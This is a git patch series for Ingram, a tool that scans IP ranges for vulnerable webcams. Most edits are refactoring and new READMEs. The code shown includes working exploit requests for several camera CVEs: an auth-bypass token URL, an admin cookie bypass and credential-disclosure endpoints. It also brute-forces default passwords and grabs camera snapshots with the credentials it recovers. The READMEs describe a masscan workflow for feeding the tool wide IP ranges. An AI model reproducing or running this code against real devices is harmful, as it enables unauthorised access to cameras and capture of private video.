From 251b10641dcd2dc664408c0a1dda7070d2a762b9 Mon Sep 17 00:00:00 2001
From: jorhelp <2373911050@qq.com>
Date: Thu, 15 Dec 2022 16:33:14 +0800
Subject: [PATCH 1/3] stash
---
Ingram/VDB/CVE_2017_14514.py | 2 +-
Ingram/VDB/CVE_2017_7921.py | 2 +-
Ingram/VDB/CVE_2018_9995.py | 1 +
Ingram/VDB/CVE_2020_25078.py | 2 +-
Ingram/VDB/__init__.py | 2 +-
Ingram/VDB/uniview_disclosure.py | 2 +-
Ingram/VDB/weak_passwd.py | 8 ++++----
Ingram/core/data.py | 26 +++++++++++++-------------
Ingram/core/main.py | 3 +--
Ingram/middleware/detect.py | 17 +++++++++--------
Ingram/middleware/shop.py | 20 +++++++++++++++++---
11 files changed, 50 insertions(+), 35 deletions(-)
diff --git a/Ingram/VDB/CVE_2017_14514.py b/Ingram/VDB/CVE_2017_14514.py
index f685e25..9b8c8a5 100644
--- a/Ingram/VDB/CVE_2017_14514.py
+++ b/Ingram/VDB/CVE_2017_14514.py
@@ -8,7 +8,7 @@
def cve_2017_14514(ip: str) -> list:
- headers = {'User-Agent': config.USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}/cgi-bin/DownloadCfg/RouterCfm.cfg"
try:
diff --git a/Ingram/VDB/CVE_2017_7921.py b/Ingram/VDB/CVE_2017_7921.py
index dec3232..5b47d1c 100644
--- a/Ingram/VDB/CVE_2017_7921.py
+++ b/Ingram/VDB/CVE_2017_7921.py
@@ -50,7 +50,7 @@ def strings(file):
def cve_2017_7921(ip: str) -> list:
- headers = {'User-Agent': config.USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
timeout = config.TIMEOUT
diff --git a/Ingram/VDB/CVE_2018_9995.py b/Ingram/VDB/CVE_2018_9995.py
index 2487ccc..953f39e 100644
--- a/Ingram/VDB/CVE_2018_9995.py
+++ b/Ingram/VDB/CVE_2018_9995.py
@@ -7,6 +7,7 @@
def cve_2018_9995(ip: str) -> list:
headers = {
+ 'Connection': 'close',
'User-Agent': config.USERAGENT,
'Cookie': 'uid=admin',
}
diff --git a/Ingram/VDB/CVE_2020_25078.py b/Ingram/VDB/CVE_2020_25078.py
index 9951f5e..2fbd113 100644
--- a/Ingram/VDB/CVE_2020_25078.py
+++ b/Ingram/VDB/CVE_2020_25078.py
@@ -6,7 +6,7 @@
def cve_2020_25078(ip: str) -> list:
- headers = {'User-Agent': config.USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}/config/getuser?index=0"
try:
diff --git a/Ingram/VDB/__init__.py b/Ingram/VDB/__init__.py
index da2b56a..69a8375 100644
--- a/Ingram/VDB/__init__.py
+++ b/Ingram/VDB/__init__.py
@@ -28,4 +28,4 @@ def get_vul(dev: str) -> list:
elif dev == config.DVR:
return [cve_2018_9995, ]
else:
- return None
\ No newline at end of file
+ return []
diff --git a/Ingram/VDB/uniview_disclosure.py b/Ingram/VDB/uniview_disclosure.py
index 0e6b97d..c40ac44 100644
--- a/Ingram/VDB/uniview_disclosure.py
+++ b/Ingram/VDB/uniview_disclosure.py
@@ -26,7 +26,7 @@ def passwd_decoder(passwd):
if char != "124" and char != "0": decoded.append(code_table[char])
return ''.join(decoded)
- headers = {'User-Agent': config.USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
try:
r = requests.get(url, headers=headers, verify=False, timeout=config.TIMEOUT)
diff --git a/Ingram/VDB/weak_passwd.py b/Ingram/VDB/weak_passwd.py
index 3769ebc..6a4a26a 100644
--- a/Ingram/VDB/weak_passwd.py
+++ b/Ingram/VDB/weak_passwd.py
@@ -13,7 +13,7 @@
def hikvision_weak(ip: str) -> list:
url = f"http://{ip}/ISAPI/Security/userCheck"
- headers = {'User-Agent': USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': USERAGENT}
timeout = TIMEOUT
for user in USERS:
for passwd in PASSWDS:
@@ -65,7 +65,7 @@ def dahua_weak(ip: str) -> list:
def cctv_weak(ip: str) -> list:
- headers = {'User-Agent': USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': USERAGENT}
for user in USERS:
for passwd in PASSWDS:
url = f'http://{ip}/cgi-bin/gw.cgi?xml='
@@ -83,12 +83,12 @@ def cctv_weak(ip: str) -> list:
# still bugs...
def uniview_weak(ip: str) -> list:
- headers = {'User-Agent': USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': USERAGENT}
# still bugs...
def dlink_weak(ip: str) -> list:
- headers = {'User-Agent': USERAGENT}
+ headers = {'Connection': 'close', 'User-Agent': USERAGENT}
for user in USERS:
for p in PASSWDS:
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
diff --git a/Ingram/core/data.py b/Ingram/core/data.py
index 98769bc..db6975d 100644
--- a/Ingram/core/data.py
+++ b/Ingram/core/data.py
@@ -22,6 +22,7 @@ def __init__(self, _input, output):
self.var_lock = RLock()
self.file_lock = RLock()
self.create_time = get_current_time()
+ self.runned_time = 0
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()
self.total = 0
@@ -43,8 +44,12 @@ def preprocess(self):
# done
state_file = os.path.join(self.output, f'.{self.taskid}')
if os.path.exists(state_file):
- with open(state_file, 'r') as f:
- self.done = int(f.readline().strip())
+ try:
+ with open(state_file, 'r') as f:
+ _done, _runned_time = f.readline().split(',')
+ self.done = int(_done.strip())
+ self.runned_time = float(_runned_time.strip())
+ except: pass
# found
results_file = os.path.join(self.output, 'results.csv')
@@ -80,24 +85,19 @@ def ip_generate(self):
yield ip
def get_total(self):
- with self.var_lock:
- return self.total
+ with self.var_lock: return self.total
def get_done(self):
- with self.var_lock:
- return self.done
+ with self.var_lock: return self.done
def get_found(self):
- with self.var_lock:
- return self.found
+ with self.var_lock: return self.found
def found_add(self):
- with self.var_lock:
- self.found += 1
+ with self.var_lock: self.found += 1
def done_add(self):
- with self.var_lock:
- self.done += 1
+ with self.var_lock: self.done += 1
def vul_add(self, item):
with self.file_lock:
@@ -111,7 +111,7 @@ def not_vul_add(self, item):
def record_running_state(self):
with open(os.path.join(self.output, f".{self.taskid}"), 'w') as f:
- f.write(str(self.done))
+ f.write(f"{str(self.done)},{self.runned_time + get_current_time() - self.create_time}")
def __del__(self):
try: # if dont use try, sys.exit() may cause error
diff --git a/Ingram/core/main.py b/Ingram/core/main.py
index 5c7b8dc..9eb3753 100644
--- a/Ingram/core/main.py
+++ b/Ingram/core/main.py
@@ -37,7 +37,7 @@ def status(core):
try:
while True:
if tmp % 15 == 0: # every ~1s
- time_interval = get_current_time() - core.create_time
+ time_interval = get_current_time() - core.data.create_time + core.data.runned_time
core.data.record_running_state()
total = core.data.get_total()
done = core.data.get_done()
@@ -58,7 +58,6 @@ class Core:
def __init__(self):
self.finish = False
- self.create_time = get_current_time()
self.data = Data(config.IN, config.OUT)
self.workshop = Workshop(os.path.join(config.OUT, 'snapshots'), config.TH // 4)
self.scan = Scan(self.data, self.workshop, config.PORT)
diff --git a/Ingram/middleware/detect.py b/Ingram/middleware/detect.py
index 3f917c7..46d1f59 100644
--- a/Ingram/middleware/detect.py
+++ b/Ingram/middleware/detect.py
@@ -20,7 +20,7 @@
'1536f25632f78fb03babedcb156d3f69': config.UNIVIEW_NVR,
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # bugs
}
-HEADERS = {'User-Agent': config.USERAGENT}
+HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT}
TIMEOUT = config.TIMEOUT
@@ -38,12 +38,13 @@ def device_detect(ip: str, port: str) -> str:
# these are need to be hashed
for url in url_list[:3]:
try:
- r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
- if r.status_code == 200:
- hash_val = hashlib.md5(r.content).hexdigest()
- if hash_val in DEV_HASH:
- device = DEV_HASH[hash_val]
- return device
+ # r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
+ with closing(requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)) as r:
+ if r.status_code == 200:
+ hash_val = hashlib.md5(r.content).hexdigest()
+ if hash_val in DEV_HASH:
+ device = DEV_HASH[hash_val]
+ return device
except Exception as e:
logger.error(e)
# not hash
@@ -86,4 +87,4 @@ def port_detect(ip: str, port: str) -> bool:
except Exception as e:
s.close()
logger.error(e)
- return False
\ No newline at end of file
+ return False
diff --git a/Ingram/middleware/shop.py b/Ingram/middleware/shop.py
index 0162642..ac652d8 100644
--- a/Ingram/middleware/shop.py
+++ b/Ingram/middleware/shop.py
@@ -2,8 +2,8 @@
import os
import requests
from functools import partial
-from xml.etree import ElementTree
from requests.auth import HTTPDigestAuth
+from xml.etree import ElementTree
from Ingram.utils import config
from Ingram.utils import logger
@@ -11,11 +11,22 @@
TIMEOUT = config.TIMEOUT
-HEADERS = {'User-Agent': config.USERAGENT, }
+HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT }
def _snapshot_by_url(url, file_name, workshop, auth=None):
try:
+ if auth:
+ r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS)
+ if r.status_code == 200:
+ with open(file_name, 'wb') as f: f.write(r.content)
+ workshop.done_add()
+ else:
+ r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
+ if r.status_code == 200:
+ with open(file_name, 'wb') as f: f.write(r.content)
+ workshop.done_add()
+
if auth: r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS)
else: r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
if r.status_code == 200:
@@ -44,7 +55,10 @@ def snapshot(camera_info, workshop):
# get channels
channels = 1
try:
- r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd))
+ r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels",
+ auth=HTTPDigestAuth(user, passwd),
+ headers=HEADERS,
+ timeout=TIMEOUT)
root = ElementTree.fromstring(r.text)
channels = len(root)
except Exception as e:
From 1fe534c452e1adafae2db9d94dc3aa59aaea5c19 Mon Sep 17 00:00:00 2001
From: jorhelp <2373911050@qq.com>
Date: Thu, 15 Dec 2022 17:52:16 +0800
Subject: [PATCH 2/3] =?UTF-8?q?=E4=BF=AE=E5=A4=8Drequests=E4=B8=8D?=
=?UTF-8?q?=E5=85=B3=E9=97=AD=E7=9A=84=E9=94=99=E8=AF=AF=EF=BC=8C=E6=B7=BB?=
=?UTF-8?q?=E5=8A=A0=E8=8B=B1=E6=96=87=20readme?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
Ingram/middleware/detect.py | 13 ++--
README.en.md | 148 ++++++++++++++++++++++++++++++++++++
README.md | 33 ++++++--
requirements.txt | 3 +-
4 files changed, 184 insertions(+), 13 deletions(-)
create mode 100644 README.en.md
diff --git a/Ingram/middleware/detect.py b/Ingram/middleware/detect.py
index 46d1f59..d017ac7 100644
--- a/Ingram/middleware/detect.py
+++ b/Ingram/middleware/detect.py
@@ -38,13 +38,12 @@ def device_detect(ip: str, port: str) -> str:
# these are need to be hashed
for url in url_list[:3]:
try:
- # r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
- with closing(requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)) as r:
- if r.status_code == 200:
- hash_val = hashlib.md5(r.content).hexdigest()
- if hash_val in DEV_HASH:
- device = DEV_HASH[hash_val]
- return device
+ r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
+ if r.status_code == 200:
+ hash_val = hashlib.md5(r.content).hexdigest()
+ if hash_val in DEV_HASH:
+ device = DEV_HASH[hash_val]
+ return device
except Exception as e:
logger.error(e)
# not hash
diff --git a/README.en.md b/README.en.md
new file mode 100644
index 0000000..e633dd8
--- /dev/null
+++ b/README.en.md
@@ -0,0 +1,148 @@
+
+
+
+
+
+
+
+
+English | [简体中文](https://github.com/jorhelp/blob/master/README.md)
+
+## Intro
+
+This is a web camera device vulnerability scanning tool, which already supports Hikvision, Dahua and other devices
+
+
+
+
+
+
+## Installation
+
+**There are still bugs running on windows, so linux or mac is recommended. Please make sure you have installed Python >= 3.7**
+
++ Firstly, clone this repo:
+```bash
+git clone https://github.com/jorhelp/Ingram.git
+```
+
++ Then, go to the repo dir, create a virtual environment and activate it:
+```bash
+cd Ingram
+pip3 install virtualenv
+python3 -m virtualenv venv
+source venv/bin/activate
+```
+
++ After that, install dependencies:
+```bash
+pip3 install -r requirements.txt
+```
+
+So far, it has been installed!
+
+
+## Run
+
++ Since it is configured in a virtual environment, pls activate the virtual environment before each running
+
++ You need to prepare an object file, let's name it `input`, which contains the targets that will be scanned. The `input` file content can be:
+```
+# use '#' to comment
+
+# single ip
+192.168.0.1
+
+# ip with a port
+192.168.0.2:80
+
+# ip segment ('/')
+192.168.0.0/16
+
+# ip segment ('-')
+192.168.0.0-192.168.255.255
+```
+
++ With the `input`, we start scanning:
+```bash
+python run_ingram.py -i input -o output
+```
+
++ If you specified the port like: `x.x.x.x:80`, then the 80 port will be scanned, otherwise common ports will be scanned(defined in `Ingram/utils/config.py`). And you can also override it with the `-p` argument such as:
+```bash
+python run_ingram.py -i input -o output -p 80 81 8000
+```
+
++ The number of coroutines can be controlled by the `-t` argument:
+```bash
+python run_ingram.py -i input -o output -t 300
+```
+
++ all arguments:
+```
+optional arguments:
+ -h, --help print help info
+ -i IN_FILE, --in_file IN_FILE
+ the input file
+ -o OUT_DIR, --out_dir OUT_DIR
+ the output file
+ -p PORT [PORT ...], --port PORT [PORT ...]
+ port
+ -t TH_NUM, --th_num TH_NUM
+ coroutines number
+ -T TIME_OUT, --time_out TIME_OUT
+ time out
+ --debug debug
+```
+
+
+## Port scanner
+
++ We can use powerful port scanner to obtain active hosts, thereby reducing the scanning range of Ingram and improving the running speed. The specific method is to organize the result file of the port scanner into the format of `ip:port` and use it as the input file of Ingram
+
++ Here is a brief demonstration of masscan as an example (the detailed usage of masscan will not be repeated here).
+
++ First, use masscan to scan the surviving host on port 80 or 8000-8008 (you sure can change the port anything else if you want): `masscan -p80,8000-8008 -iL INPUT -oL OUTPUT --rate 8000`
+
++ After masscan is done, sort out the result file: `grep 'open' OUTPUT | awk '{printf"%s:%s\n", $4, $3} > input'`
+
++ Then, start your show: `python run_ingram.py -i input -o output`
+
+
+## Output
+
+```bash
+.
+├── not_vulnerable.csv
+├── results.csv
+├── snapshots
+└── log.txt
+```
+
++ `results.csv` contains the vulnerable devices: `ip,port,device-type,user,passwd,vul`:
+
+
+
+
+
++ `not_vulnerable.csv` contains the not vulnerable devices
+
++ `snapshots` contains some snapshots of a part of devices (not all device can have a snapshot!!!):
+
+
+
+
+
+
+## Thanks & Reference
+
+Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
+Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
+Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
diff --git a/README.md b/README.md
index 2109caa..850066b 100644
--- a/README.md
+++ b/README.md
@@ -13,10 +13,11 @@
+简体中文 | [English](https://github.com/jorhelp/blob/master/README.en.md)
## 简介
-主要针对网络摄像头的漏洞扫描框架,目前已集成海康、大华、宇视等常见设备。后期会加入更多摄像头设备和路由器设备。
+主要针对网络摄像头的漏洞扫描框架,目前已集成海康、大华、宇视、dlink等常见设备
@@ -32,10 +33,16 @@
git clone https://github.com/jorhelp/Ingram.git
```
-+ 进入项目目录安装依赖:
++ 进入项目目录,创建一个虚拟环境,并激活该环境:
```bash
cd Ingram
-pip3 install git+https://github.com/arthaud/python3-pwntools.git
+pip3 install virtualenv
+python3 -m virtualenv venv
+source venv/bin/activate
+```
+
++ 安装依赖:
+```bash
pip3 install -r requirements.txt
```
@@ -44,6 +51,8 @@ pip3 install -r requirements.txt
## 运行
++ 由于是在虚拟环境中配置,所以,每次运行之前,请先激活虚拟环境:`source venv/bin/activate`
+
+ 你需要准备一个目标文件,比如 target.txt,里面保存着你要扫描的 IP 地址,每行一个目标,具体格式如下:
```
# 你可以使用井号(#)来进行注释
@@ -57,7 +66,7 @@ pip3 install -r requirements.txt
192.168.0.0-192.168.255.255
```
-+ 之后运行:
++ 有了目标文件之后就可直接运行:
```bash
python run_ingram.py -i 你要扫描的文件 -o 输出文件夹
```
@@ -92,6 +101,20 @@ optional arguments:
--debug 调试模式
```
+
+## 端口扫描器
+
++ 我们可以利用强大的端口扫描器来获取活动主机,进而缩小 Ingram 的扫描范围,提高运行速度,具体做法是将端口扫描器的结果文件整理成 `ip:port` 的格式,并作为 Ingram 的输入
+
++ 这里以 masscan 为例简单演示一下(masscan 的详细用法这里不再赘述),首先用 masscan 扫描 80 或 8000-8008 端口存活的主机:`masscan -p80,8000-8008 -iL 目标文件 -oL 结果文件 --rate 8000`
+
++ masscan 运行完之后,将结果文件整理一下:`grep 'open' 结果文件 | awk '{printf"%s:%s\n", $4, $3} > targets'`
+
++ 之后对这些主机进行扫描:`python run_ingram.py -i targets -o out`
+
+
+## 微信提醒(可有可无)
+
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `run_ingram.py`:
```python
# wechat
@@ -99,7 +122,7 @@ config.set_val('WXUID', '这里写uid')
config.set_val('WXTOKEN', '这里写token')
```
-+ 支持中断恢复,不过由于每5分钟记录一次运行状态,所以并不能准确恢复到上次的运行状态。(这里做的比较粗糙,下个版本调整)
++ 支持中断恢复,不过由于考虑到性能,并不会实时记录当前运行状态,而是间隔一定时间,所以并不能准确恢复到上次的运行状态。(这里做的比较粗糙,下个版本调整)
## 结果
diff --git a/requirements.txt b/requirements.txt
index 5cb0adb..5a2687e 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -8,4 +8,5 @@ ndjson>=0.3.1
pycryptodome>=3.9.7
tzlocal>=2.1
pyOpenSSL>=19.1.0
-pwn~=1.0
\ No newline at end of file
+pwn~=1.0
+pwntools>=4.3.1
\ No newline at end of file
From 6cbb5c2f3587914aa1d58c99e2b0e4ad44d9a1c2 Mon Sep 17 00:00:00 2001
From: jorhelp <2373911050@qq.com>
Date: Thu, 15 Dec 2022 17:53:57 +0800
Subject: [PATCH 3/3] =?UTF-8?q?=E4=BF=AE=E5=A4=8Drequests=E4=B8=8D?=
=?UTF-8?q?=E5=85=B3=E9=97=AD=E7=9A=84=E9=94=99=E8=AF=AF=EF=BC=8C=E6=B7=BB?=
=?UTF-8?q?=E5=8A=A0=E8=8B=B1=E6=96=87=20readme?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
README.en.md | 2 +-
README.md | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/README.en.md b/README.en.md
index e633dd8..caf5e6a 100644
--- a/README.en.md
+++ b/README.en.md
@@ -13,7 +13,7 @@
-English | [简体中文](https://github.com/jorhelp/blob/master/README.md)
+English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README.md)
## Intro
diff --git a/README.md b/README.md
index 850066b..3534d89 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
-简体中文 | [English](https://github.com/jorhelp/blob/master/README.en.md)
+简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.en.md)
## 简介